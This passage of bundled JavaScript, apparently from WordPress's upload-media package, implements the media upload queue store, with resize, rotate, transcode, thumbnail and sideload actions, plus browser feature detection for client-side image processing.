822 batchId,
823 onChange,
824 onSuccess,
825 onBatchSuccess,
826 onError,
827 additionalData
828 });
829 }
830 };
831 }
832 function cancelItem(id, error, silent = false) {
833 return async ({ select: select2, dispatch }) => {
834 const item = select2.getItem(id);
835 if (!item) {
836 return;
837 }
838 item.abortController?.abort();
839 await vipsCancelOperations(id);
840 if (!silent) {
841 const { onError } = item;
842 onError?.(error ?? new Error("Upload cancelled"));
843 if (!onError && error) {
844 console.error("Upload cancelled", error);
845 }
846 }
847 dispatch({
848 type: Type.Cancel,
849 id,
850 error
851 });
852 dispatch.removeItem(id);
853 dispatch.revokeBlobUrls(id);
854 if (item.batchId && select2.isBatchUploaded(item.batchId)) {
855 item.onBatchSuccess?.();
856 }
857 };
858 }
859 function retryItem(id) {
860 return async ({ select: select2, dispatch }) => {
861 const item = select2.getItem(id);
862 if (!item) {
863 return;
864 }
865 if (!item.error) {
866 return;
867 }
868 dispatch({
869 type: Type.RetryItem,
870 id
871 });
872 dispatch.processItem(id);
873 };
874 }
875
876 // packages/upload-media/build-module/store/private-actions.mjs
877 var private_actions_exports = {};
878 __export(private_actions_exports, {
879 addItem: () => addItem,
880 addSideloadItem: () => addSideloadItem,
881 finalizeItem: () => finalizeItem,
882 finishOperation: () => finishOperation,
883 generateThumbnails: () => generateThumbnails,
884 getTranscodeImageOperation: () => getTranscodeImageOperation,
885 pauseItem: () => pauseItem,
886 pauseQueue: () => pauseQueue,
887 prepareItem: () => prepareItem,
888 processItem: () => processItem,
889 removeItem: () => removeItem,
890 resizeCropItem: () => resizeCropItem,
891 resumeItemByPostId: () => resumeItemByPostId,
892 resumeQueue: () => resumeQueue,
893 revokeBlobUrls: () => revokeBlobUrls,
894 rotateItem: () => rotateItem,
895 sideloadItem: () => sideloadItem,
896 transcodeImageItem: () => transcodeImageItem,
897 updateItemProgress: () => updateItemProgress,
898 updateSettings: () => updateSettings,
899 uploadItem: () => uploadItem
900 });
901 var import_blob = __toESM(require_blob(), 1);
902
903 // packages/upload-media/build-module/stub-file.mjs
904 var StubFile = class extends File {
905 constructor(fileName = "stub-file") {
906 super([], fileName);
907 }
908 };
909
910 // packages/upload-media/build-module/store/private-actions.mjs
911 var DEFAULT_OUTPUT_QUALITY = 0.82;
912 function shouldPauseForSideload(item, operation, select2) {
913 if (operation !== OperationType.Upload || !item.parentId || !item.additionalData.post) {
914 return false;
915 }
916 return select2.isUploadingToPost(item.additionalData.post);
917 }
918 function addItem({
919 file: fileOrBlob,
920 batchId,
921 onChange,
922 onSuccess,
923 onBatchSuccess,
924 onError,
925 additionalData = {},
926 sourceUrl,
927 sourceAttachmentId,
928 abortController,
929 operations
930 }) {
931 return async ({ dispatch }) => {
932 const itemId = v4_default();
933 const file = convertBlobToFile(fileOrBlob);
934 let blobUrl;
935 if (!(file instanceof StubFile)) {
936 blobUrl = (0, import_blob.createBlobURL)(file);
937 dispatch({
938 type: Type.CacheBlobUrl,
939 id: itemId,
940 blobUrl
941 });
942 }
943 dispatch({
944 type: Type.Add,
945 item: {
946 id: itemId,
947 batchId,
948 status: ItemStatus.Processing,
949 sourceFile: cloneFile(file),
950 file,
951 attachment: {
952 url: blobUrl
953 },
954 additionalData: {
955 convert_format: false,
956 generate_sub_sizes: false,
957 ...additionalData
958 },
959 onChange,
960 onSuccess,
961 onBatchSuccess,
962 onError,
963 sourceUrl,
964 sourceAttachmentId,
965 abortController: abortController || new AbortController(),
966 operations: Array.isArray(operations) ? operations : [OperationType.Prepare]
967 }
968 });
969 dispatch.processItem(itemId);
970 };
971 }
972 function addSideloadItem({
973 file,
974 onChange,
975 additionalData,
976 operations,
977 batchId,
978 parentId
979 }) {
980 return ({ dispatch }) => {
981 const itemId = v4_default();
982 dispatch({
983 type: Type.Add,
984 item: {
985 id: itemId,
986 batchId,
987 status: ItemStatus.Processing,
988 sourceFile: cloneFile(file),
989 file,
990 onChange,
991 additionalData: {
992 ...additionalData
993 },
994 parentId,
995 operations: Array.isArray(operations) ? operations : [OperationType.Prepare],
996 abortController: new AbortController()
997 }
998 });
999 dispatch.processItem(itemId);
1000 };
1001 }
1002 function processItem(id) {
1003 return async ({ select: select2, dispatch }) => {
1004 if (select2.isPaused()) {
1005 return;
1006 }
1007 const item = select2.getItem(id);
1008 if (!item) {
1009 return;
1010 }
1011 const {
1012 attachment,
1013 onChange,
1014 onSuccess,
1015 onBatchSuccess,
1016 batchId,
1017 parentId
1018 } = item;
1019 const operation = Array.isArray(item.operations?.[0]) ? item.operations[0][0] : item.operations?.[0];
1020 const operationArgs = Array.isArray(item.operations?.[0]) ? item.operations[0][1] : void 0;
1021 if (shouldPauseForSideload(item, operation, select2)) {
1022 dispatch({
1023 type: Type.PauseItem,
1024 id
1025 });
1026 return;
1027 }
1028 if (operation === OperationType.Upload) {
1029 const settings = select2.getSettings();
1030 const activeCount = select2.getActiveUploadCount();
1031 if (activeCount >= settings.maxConcurrentUploads) {
1032 return;
1033 }
1034 }
1035 if (operation === OperationType.ResizeCrop || operation === OperationType.Rotate) {
1036 const settings = select2.getSettings();
1037 const activeCount = select2.getActiveImageProcessingCount();
1038 if (activeCount >= settings.maxConcurrentImageProcessing) {
1039 return;
1040 }
1041 }
1042 if (attachment) {
1043 onChange?.([attachment]);
1044 }
1045 if (!operation) {
1046 if (parentId || !parentId && !select2.hasPendingItemsByParentId(id)) {
1047 if (attachment) {
1048 onSuccess?.([attachment]);
1049 }
1050 dispatch.removeItem(id);
1051 dispatch.revokeBlobUrls(id);
1052 if (batchId && select2.isBatchUploaded(batchId)) {
1053 onBatchSuccess?.();
1054 }
1055 }
1056 if (parentId && batchId && select2.isBatchUploaded(batchId)) {
1057 const parentItem = select2.getItem(parentId);
1058 if (!parentItem) {
1059 return;
1060 }
1061 if (parentItem.operations && parentItem.operations.length > 0) {
1062 dispatch.processItem(parentId);
1063 return;
1064 }
1065 if (attachment) {
1066 parentItem.onSuccess?.([attachment]);
1067 }
1068 dispatch.removeItem(parentId);
1069 dispatch.revokeBlobUrls(parentId);
1070 if (parentItem.batchId && select2.isBatchUploaded(parentItem.batchId)) {
1071 parentItem.onBatchSuccess?.();
1072 }
1073 }
1074 return;
1075 }
1076 if (operation === OperationType.Finalize && select2.hasPendingItemsByParentId(id)) {
1077 return;
1078 }
1079 dispatch({
1080 type: Type.OperationStart,
1081 id,
1082 operation
1083 });
1084 switch (operation) {
1085 case OperationType.Prepare:
1086 dispatch.prepareItem(item.id);
1087 break;
1088 case OperationType.ResizeCrop:
1089 dispatch.resizeCropItem(
1090 item.id,
1091 operationArgs
1092 );
1093 break;
1094 case OperationType.Rotate:
1095 dispatch.rotateItem(
1096 item.id,
1097 operationArgs
1098 );
1099 break;
1100 case OperationType.TranscodeImage:
1101 dispatch.transcodeImageItem(
1102 item.id,
1103 operationArgs
1104 );
1105 break;
1106 case OperationType.Upload:
1107 if (item.parentId) {
1108 dispatch.sideloadItem(id);
1109 } else {
1110 dispatch.uploadItem(id);
1111 }
1112 break;
1113 case OperationType.ThumbnailGeneration:
1114 dispatch.generateThumbnails(id);
1115 break;
1116 case OperationType.Finalize:
1117 dispatch.finalizeItem(id);
1118 break;
1119 }
1120 };
1121 }
1122 function pauseQueue() {
1123 return {
1124 type: Type.PauseQueue
1125 };
1126 }
1127 function resumeQueue() {
1128 return async ({ select: select2, dispatch }) => {
1129 dispatch({
1130 type: Type.ResumeQueue
1131 });
1132 for (const item of select2.getAllItems()) {
1133 dispatch.processItem(item.id);
1134 }
1135 };
1136 }
1137 function pauseItem(id) {
1138 return async ({ dispatch }) => {
1139 dispatch({
1140 type: Type.PauseItem,
1141 id
1142 });
1143 };
1144 }
1145 function resumeItemByPostId(postOrAttachmentId) {
1146 return async ({ select: select2, dispatch }) => {
1147 const item = select2.getPausedUploadForPost(postOrAttachmentId);
1148 if (item) {
1149 dispatch({
1150 type: Type.ResumeItem,
1151 id: item.id
1152 });
1153 dispatch.processItem(item.id);
1154 }
1155 };
1156 }
1157 function removeItem(id) {
1158 return async ({ select: select2, dispatch }) => {
1159 const item = select2.getItem(id);
1160 if (!item) {
1161 return;
1162 }
1163 dispatch({
1164 type: Type.Remove,
1165 id
1166 });
1167 if (select2.getAllItems().length === 0) {
1168 terminateVipsWorker();
1169 }
1170 };
1171 }
1172 function finishOperation(id, updates) {
1173 return async ({ select: select2, dispatch }) => {
1174 const item = select2.getItem(id);
1175 const previousOperation = item?.currentOperation;
1176 dispatch({
1177 type: Type.OperationFinish,
1178 id,
1179 item: updates
1180 });
1181 dispatch.processItem(id);
1182 if (previousOperation === OperationType.Upload) {
1183 const pendingUploads = select2.getPendingUploads();
1184 for (const pendingItem of pendingUploads) {
1185 dispatch.processItem(pendingItem.id);
1186 }
1187 }
1188 if (previousOperation === OperationType.ResizeCrop || previousOperation === OperationType.Rotate) {
1189 const pendingItems = select2.getPendingImageProcessing();
1190 for (const pendingItem of pendingItems) {
1191 dispatch.processItem(pendingItem.id);
1192 }
1193 }
1194 };
1195 }
1196 var VALID_IMAGE_FORMATS = ["jpeg", "webp", "avif", "png", "gif"];
1197 function isValidImageFormat(format) {
1198 return VALID_IMAGE_FORMATS.includes(format);
1199 }
1200 function getInterlacedSetting(outputMimeType, settings) {
1201 switch (outputMimeType) {
1202 case "image/jpeg":
1203 return settings.jpegInterlaced ?? false;
1204 case "image/png":
1205 return settings.pngInterlaced ?? false;
1206 case "image/gif":
1207 return settings.gifInterlaced ?? false;
1208 default:
1209 return false;
1210 }
1211 }
1212 async function getTranscodeImageOperation(file, outputMimeType, settings) {
1213 if (file.type === "image/png" && outputMimeType === "image/jpeg") {
1214 const blobUrl = (0, import_blob.createBlobURL)(file);
1215 try {
1216 const hasAlpha = await vipsHasTransparency(blobUrl);
1217 if (hasAlpha) {
1218 return null;
1219 }
1220 } catch {
1221 return null;
1222 } finally {
1223 (0, import_blob.revokeBlobURL)(blobUrl);
1224 }
1225 }
1226 const formatPart = outputMimeType.split("/")[1];
1227 if (!isValidImageFormat(formatPart)) {
1228 return null;
1229 }
1230 return [
1231 OperationType.TranscodeImage,
1232 {
1233 outputFormat: formatPart,
1234 outputQuality: DEFAULT_OUTPUT_QUALITY,
1235 interlaced: getInterlacedSetting(outputMimeType, settings)
1236 }
1237 ];
1238 }
1239 function prepareItem(id) {
1240 return async ({ select: select2, dispatch }) => {
1241 const item = select2.getItem(id);
1242 if (!item) {
1243 return;
1244 }
1245 const { file } = item;
1246 const operations = [];
1247 const settings = select2.getSettings();
1248 const isImage = file.type.startsWith("image/");
1249 const isVipsSupported = CLIENT_SIDE_SUPPORTED_MIME_TYPES.includes(
1250 file.type
1251 );
1252 if (isImage && isVipsSupported) {
1253 const { imageOutputFormats } = settings;
1254 const outputMimeType = imageOutputFormats?.[file.type];
1255 if (outputMimeType && outputMimeType !== file.type) {
1256 const transcodeOperation = await getTranscodeImageOperation(
1257 file,
1258 outputMimeType,
1259 settings
1260 );
1261 if (transcodeOperation) {
1262 operations.push(transcodeOperation);
1263 }
1264 }
1265 operations.push(
1266 OperationType.Upload,
1267 OperationType.ThumbnailGeneration,
1268 OperationType.Finalize
1269 );
1270 } else {
1271 operations.push(OperationType.Upload);
1272 }
1273 dispatch({
1274 type: Type.AddOperations,
1275 id,
1276 operations
1277 });
1278 const updates = !isVipsSupported || !isImage ? {
1279 additionalData: {
1280 ...item.additionalData,
1281 generate_sub_sizes: true,
1282 convert_format: true
1283 }
1284 } : {};
1285 dispatch.finishOperation(id, updates);
1286 };
1287 }
1288 function uploadItem(id) {
1289 return async ({ select: select2, dispatch }) => {
1290 const item = select2.getItem(id);
1291 if (!item) {
1292 return;
1293 }
1294 select2.getSettings().mediaUpload({
1295 filesList: [item.file],
1296 additionalData: item.additionalData,
1297 signal: item.abortController?.signal,
1298 onFileChange: ([attachment]) => {
1299 if (attachment && !(0, import_blob.isBlobURL)(attachment.url)) {
1300 dispatch.finishOperation(id, {
1301 attachment
1302 });
1303 }
1304 },
1305 onSuccess: ([attachment]) => {
1306 dispatch.finishOperation(id, {
1307 attachment
1308 });
1309 },
1310 onError: (error) => {
1311 dispatch.cancelItem(id, error);
1312 }
1313 });
1314 };
1315 }
1316 function sideloadItem(id) {
1317 return async ({ select: select2, dispatch }) => {
1318 const item = select2.getItem(id);
1319 if (!item) {
1320 return;
1321 }
1322 const { post, ...additionalData } = item.additionalData;
1323 const mediaSideload = select2.getSettings().mediaSideload;
1324 if (!mediaSideload) {
1325 dispatch.finishOperation(id, {});
1326 return;
1327 }
1328 mediaSideload({
1329 file: item.file,
1330 attachmentId: post,
1331 additionalData,
1332 signal: item.abortController?.signal,
1333 onFileChange: ([attachment]) => {
1334 dispatch.finishOperation(id, { attachment });
1335 dispatch.resumeItemByPostId(post);
1336 },
1337 onError: (error) => {
1338 dispatch.cancelItem(id, error);
1339 dispatch.resumeItemByPostId(post);
1340 }
1341 });
1342 };
1343 }
1344 function resizeCropItem(id, args) {
1345 return async ({ select: select2, dispatch }) => {
1346 const item = select2.getItem(id);
1347 if (!item) {
1348 return;
1349 }
1350 if (!args?.resize) {
1351 dispatch.finishOperation(id, {
1352 file: item.file
1353 });
1354 return;
1355 }
1356 const addSuffix = Boolean(item.parentId);
1357 const scaledSuffix = Boolean(args.isThresholdResize);
1358 try {
1359 const file = await vipsResizeImage(
1360 item.id,
1361 item.file,
1362 args.resize,
1363 false,
1364 // smartCrop
1365 addSuffix,
1366 item.abortController?.signal,
1367 scaledSuffix
1368 );
1369 const blobUrl = (0, import_blob.createBlobURL)(file);
1370 dispatch({
1371 type: Type.CacheBlobUrl,
1372 id,
1373 blobUrl
1374 });
1375 dispatch.finishOperation(id, {
1376 file,
1377 attachment: {
1378 url: blobUrl
1379 }
1380 });
1381 } catch (error) {
1382 dispatch.cancelItem(
1383 id,
1384 new UploadError({
1385 code: "IMAGE_TRANSCODING_ERROR",
1386 message: "File could not be uploaded",
1387 file: item.file,
1388 cause: error instanceof Error ? error : void 0
1389 })
1390 );
1391 }
1392 };
1393 }
1394 function rotateItem(id, args) {
1395 return async ({ select: select2, dispatch }) => {
1396 const item = select2.getItem(id);
1397 if (!item) {
1398 return;
1399 }
1400 if (!args?.orientation || args.orientation === 1) {
1401 dispatch.finishOperation(id, {
1402 file: item.file
1403 });
1404 return;
1405 }
1406 try {
1407 const file = await vipsRotateImage(
1408 item.id,
1409 item.file,
1410 args.orientation,
1411 item.abortController?.signal
1412 );
1413 const blobUrl = (0, import_blob.createBlobURL)(file);
1414 dispatch({
1415 type: Type.CacheBlobUrl,
1416 id,
1417 blobUrl
1418 });
1419 dispatch.finishOperation(id, {
1420 file,
1421 attachment: {
1422 url: blobUrl
1423 }
1424 });
1425 } catch (error) {
1426 dispatch.cancelItem(
1427 id,
1428 new UploadError({
1429 code: "IMAGE_ROTATION_ERROR",
1430 message: "Image could not be rotated",
1431 file: item.file,
1432 cause: error instanceof Error ? error : void 0
1433 })
1434 );
1435 }
1436 };
1437 }
1438 function transcodeImageItem(id, args) {
1439 return async ({ select: select2, dispatch }) => {
1440 const item = select2.getItem(id);
1441 if (!item) {
1442 return;
1443 }
1444 if (!args?.outputFormat) {
1445 dispatch.finishOperation(id, {
1446 file: item.file
1447 });
1448 return;
1449 }
1450 const outputMimeType = `image/${args.outputFormat}`;
1451 const quality = args.outputQuality ?? DEFAULT_OUTPUT_QUALITY;
1452 const interlaced = args.interlaced ?? false;
1453 try {
1454 const file = await vipsConvertImageFormat(
1455 item.id,
1456 item.file,
1457 outputMimeType,
1458 quality,
1459 interlaced
1460 );
1461 const blobUrl = (0, import_blob.createBlobURL)(file);
1462 dispatch({
1463 type: Type.CacheBlobUrl,
1464 id,
1465 blobUrl
1466 });
1467 dispatch.finishOperation(id, {
1468 file,
1469 attachment: {
1470 url: blobUrl
1471 }
1472 });
1473 } catch (error) {
1474 dispatch.cancelItem(
1475 id,
1476 new UploadError({
1477 code: "MEDIA_TRANSCODING_ERROR",
1478 message: "Image could not be transcoded to the target format",
1479 file: item.file,
1480 cause: error instanceof Error ? error : void 0
1481 })
1482 );
1483 }
1484 };
1485 }
1486 function generateThumbnails(id) {
1487 return async ({ select: select2, dispatch }) => {
1488 const item = select2.getItem(id);
1489 if (!item) {
1490 return;
1491 }
1492 if (!item.attachment) {
1493 dispatch.finishOperation(id, {});
1494 return;
1495 }
1496 const attachment = item.attachment;
1497 const needsRotation = attachment.exif_orientation && attachment.exif_orientation !== 1 && !item.file.name.includes("-scaled");
1498 if (needsRotation && attachment.id) {
1499 try {
1500 const rotatedFile = await vipsRotateImage(
1501 item.id,
1502 item.sourceFile,
1503 attachment.exif_orientation,
1504 item.abortController?.signal
1505 );
1506 dispatch.addSideloadItem({
1507 file: rotatedFile,
1508 batchId: v4_default(),
1509 parentId: item.id,
1510 additionalData: {
1511 post: attachment.id,
1512 image_size: "original",
1513 convert_format: false
1514 },
1515 operations: [OperationType.Upload]
1516 });
1517 } catch {
1518 console.warn(
1519 "Failed to rotate image, continuing with thumbnails"
1520 );
1521 }
1522 }
1523 if (!item.parentId && attachment.missing_image_sizes && attachment.missing_image_sizes.length > 0) {
1524 const settings = select2.getSettings();
1525 const allImageSizes = settings.allImageSizes || {};
1526 const sizesToGenerate = attachment.missing_image_sizes;
1527 const file = attachment.filename ? renameFile(item.sourceFile, attachment.filename) : item.sourceFile;
1528 const batchId = v4_default();
1529 const { imageOutputFormats } = settings;
1530 const sourceType = item.sourceFile.type;
1531 const outputMimeType = imageOutputFormats?.[sourceType];
1532 let thumbnailTranscodeOperation = null;
1533 if (outputMimeType && outputMimeType !== sourceType) {
1534 thumbnailTranscodeOperation = await getTranscodeImageOperation(
1535 item.sourceFile,
1536 outputMimeType,
1537 settings
1538 );
1539 }
1540 for (const name of sizesToGenerate) {
1541 const imageSize = allImageSizes[name];
1542 if (!imageSize) {
1543 console.warn(
1544 `Image size "${name}" not found in configuration`
1545 );
1546 continue;
1547 }
1548 const thumbnailOperations = [
1549 [OperationType.ResizeCrop, { resize: imageSize }]
1550 ];
1551 if (thumbnailTranscodeOperation) {
1552 thumbnailOperations.push(thumbnailTranscodeOperation);
1553 }
1554 thumbnailOperations.push(OperationType.Upload);
1555 dispatch.addSideloadItem({
1556 file,
1557 onChange: ([updatedAttachment]) => {
1558 if ((0, import_blob.isBlobURL)(updatedAttachment.url)) {
1559 return;
1560 }
1561 item.onChange?.([updatedAttachment]);
1562 },
1563 batchId,
1564 parentId: item.id,
1565 additionalData: {
1566 // Sideloading does not use the parent post ID but the
1567 // attachment ID as the image sizes need to be added to it.
1568 post: attachment.id,
1569 image_size: name,
1570 convert_format: false
1571 },
1572 operations: thumbnailOperations
1573 });
1574 }
1575 const { bigImageSizeThreshold } = settings;
1576 if (bigImageSizeThreshold && attachment.id) {
1577 const bitmap = await createImageBitmap(item.sourceFile);
1578 const needsScaling = bitmap.width > bigImageSizeThreshold || bitmap.height > bigImageSizeThreshold;
1579 bitmap.close();
1580 if (needsScaling) {
1581 const sourceForScaled = attachment.filename ? renameFile(item.sourceFile, attachment.filename) : item.sourceFile;
1582 const scaledOperations = [
1583 [
1584 OperationType.ResizeCrop,
1585 {
1586 resize: {
1587 width: bigImageSizeThreshold,
1588 height: bigImageSizeThreshold
1589 },
1590 isThresholdResize: true
1591 }
1592 ]
1593 ];
1594 if (thumbnailTranscodeOperation) {
1595 scaledOperations.push(thumbnailTranscodeOperation);
1596 }
1597 scaledOperations.push(OperationType.Upload);
1598 dispatch.addSideloadItem({
1599 file: sourceForScaled,
1600 onChange: ([updatedAttachment]) => {
1601 if ((0, import_blob.isBlobURL)(updatedAttachment.url)) {
1602 return;
1603 }
1604 item.onChange?.([updatedAttachment]);
1605 },
1606 batchId,
1607 parentId: item.id,
1608 additionalData: {
1609 post: attachment.id,
1610 image_size: "scaled",
1611 convert_format: false
1612 },
1613 operations: scaledOperations
1614 });
1615 }
1616 }
1617 }
1618 dispatch.finishOperation(id, {});
1619 };
1620 }
1621 function finalizeItem(id) {
1622 return async ({ select: select2, dispatch }) => {
1623 const item = select2.getItem(id);
1624 if (!item) {
1625 return;
1626 }
1627 const attachment = item.attachment;
1628 const { mediaFinalize } = select2.getSettings();
1629 if (attachment?.id && mediaFinalize) {
1630 try {
1631 await mediaFinalize(attachment.id);
1632 } catch (error) {
1633 console.warn("Media finalization failed:", error);
1634 }
1635 }
1636 dispatch.finishOperation(id, {});
1637 };
1638 }
1639 function revokeBlobUrls(id) {
1640 return async ({ select: select2, dispatch }) => {
1641 const blobUrls = select2.getBlobUrls(id);
1642 for (const blobUrl of blobUrls) {
1643 (0, import_blob.revokeBlobURL)(blobUrl);
1644 }
1645 dispatch({
1646 type: Type.RevokeBlobUrls,
1647 id
1648 });
1649 };
1650 }
1651 function updateItemProgress(id, progress) {
1652 return async ({ dispatch }) => {
1653 dispatch({
1654 type: Type.UpdateProgress,
1655 id,
1656 progress
1657 });
1658 };
1659 }
1660 function updateSettings(settings) {
1661 return {
1662 type: Type.UpdateSettings,
1663 settings
1664 };
1665 }
1666
1667 // packages/upload-media/build-module/lock-unlock.mjs
1668 var import_private_apis = __toESM(require_private_apis(), 1);
1669 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
1670 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
1671 "@wordpress/upload-media"
1672 );
1673
1674 // packages/upload-media/build-module/store/index.mjs
1675 var storeConfig = {
1676 reducer: reducer_default,
1677 selectors: selectors_exports,
1678 actions: actions_exports
1679 };
1680 var store = (0, import_data.createReduxStore)(STORE_NAME, {
1681 reducer: reducer_default,
1682 selectors: selectors_exports,
1683 actions: actions_exports
1684 });
1685 if (!(0, import_data.select)(store)) {
1686 (0, import_data.register)(store);
1687 }
1688 unlock(store).registerPrivateActions(private_actions_exports);
1689 unlock(store).registerPrivateSelectors(private_selectors_exports);
1690
1691 // packages/upload-media/build-module/components/provider/index.mjs
1692 var import_element2 = __toESM(require_element(), 1);
1693 var import_data3 = __toESM(require_data(), 1);
1694
1695 // packages/upload-media/build-module/components/provider/with-registry-provider.mjs
1696 var import_element = __toESM(require_element(), 1);
1697 var import_data2 = __toESM(require_data(), 1);
1698 var import_compose = __toESM(require_compose(), 1);
1699 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
1700 function getSubRegistry(subRegistries, registry, useSubRegistry) {
1701 if (!useSubRegistry) {
1702 return registry;
1703 }
1704 let subRegistry = subRegistries.get(registry);
1705 if (!subRegistry) {
1706 subRegistry = (0, import_data2.createRegistry)({}, registry);
1707 subRegistry.registerStore(STORE_NAME, storeConfig);
1708 subRegistries.set(registry, subRegistry);
1709 }
1710 return subRegistry;
1711 }
1712 var withRegistryProvider = (0, import_compose.createHigherOrderComponent)(
1713 (WrappedComponent) => ({ useSubRegistry = true, ...props }) => {
1714 const registry = (0, import_data2.useRegistry)();
1715 const [subRegistries] = (0, import_element.useState)(() => /* @__PURE__ */ new WeakMap());
1716 const subRegistry = getSubRegistry(
1717 subRegistries,
1718 registry,
1719 useSubRegistry
1720 );
1721 if (subRegistry === registry) {
1722 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(WrappedComponent, { registry, ...props });
1723 }
1724 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_data2.RegistryProvider, { value: subRegistry, children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(WrappedComponent, { registry: subRegistry, ...props }) });
1725 },
1726 "withRegistryProvider"
1727 );
1728 var with_registry_provider_default = withRegistryProvider;
1729
1730 // packages/upload-media/build-module/components/provider/index.mjs
1731 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
1732 var MediaUploadProvider = with_registry_provider_default((props) => {
1733 const { children, settings } = props;
1734 const { updateSettings: updateSettings2 } = unlock((0, import_data3.useDispatch)(store));
1735 (0, import_element2.useEffect)(() => {
1736 updateSettings2(settings);
1737 }, [settings, updateSettings2]);
1738 return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_jsx_runtime2.Fragment, { children });
1739 });
1740 var provider_default = MediaUploadProvider;
1741
1742 // packages/upload-media/build-module/feature-detection.mjs
1743 var cachedResult = null;
1744 function detectClientSideMediaSupport() {
1745 if (cachedResult !== null) {
1746 return cachedResult;
1747 }
1748 if (typeof WebAssembly === "undefined") {
1749 cachedResult = {
1750 supported: false,
1751 reason: "WebAssembly is not supported in this browser."
1752 };
1753 return cachedResult;
1754 }
1755 if (typeof SharedArrayBuffer === "undefined") {
1756 cachedResult = {
1757 supported: false,
1758 reason: "SharedArrayBuffer is not available. This may be due to missing cross-origin isolation headers."
1759 };
1760 return cachedResult;
1761 }
1762 if (typeof Worker === "undefined") {
1763 cachedResult = {
1764 supported: false,
1765 reason: "Web Workers are not supported in this browser."
1766 };
1767 return cachedResult;
1768 }
1769 if (typeof navigator !== "undefined" && "deviceMemory" in navigator && navigator.deviceMemory <= 2) {
1770 cachedResult = {
1771 supported: false,
1772 reason: "Device has insufficient memory for client-side media processing."
1773 };
1774 return cachedResult;
1775 }
1776 if (typeof navigator !== "undefined" && "hardwareConcurrency" in navigator && navigator.hardwareConcurrency < 2) {
1777 cachedResult = {
1778 supported: false,
1779 reason: "Device has insufficient CPU cores for client-side media processing."
1780 };
1781 return cachedResult;
1782 }
1783 if (typeof navigator !== "undefined") {
1784 const connection = navigator.connection;
1785 if (connection) {
1786 if (connection.saveData) {
1787 cachedResult = {
1788 supported: false,
1789 reason: "Data saver mode is enabled."
1790 };
1791 return cachedResult;
1792 }
1793 if (connection.effectiveType === "slow-2g" || connection.effectiveType === "2g") {
1794 cachedResult = {
1795 supported: false,
1796 reason: "Network connection is too slow for client-side media processing."
1797 };
1798 return cachedResult;
1799 }
1800 }
1801 }
1802 if (typeof window !== "undefined") {
1803 try {
1804 const testBlob = new Blob([""], {
1805 type: "application/javascript"
1806 });
1807 const testUrl = URL.createObjectURL(testBlob);
1808 try {
1809 const testWorker = new Worker(testUrl);
1810 testWorker.terminate();
1811 } finally {
1812 URL.revokeObjectURL(testUrl);
1813 }
1814 } catch {
1815 cachedResult = {
1816 supported: false,
1817 reason: "The site's Content Security Policy (CSP) does not allow blob: workers. The worker-src directive must include blob: to enable client-side media processing."
1818 };
1819 return cachedResult;
1820 }
1821 }
1822 cachedResult = { supported: true };
1823 return cachedResult;
1824 }
1825 function isClientSideMediaSupported() {
1826 return detectClientSideMediaSupport().supported;
1827 }
1828 function clearFeatureDetectionCache() {
1829 cachedResult = null;
1830 }
1831 return __toCommonJS(index_exports);
1832})();
1833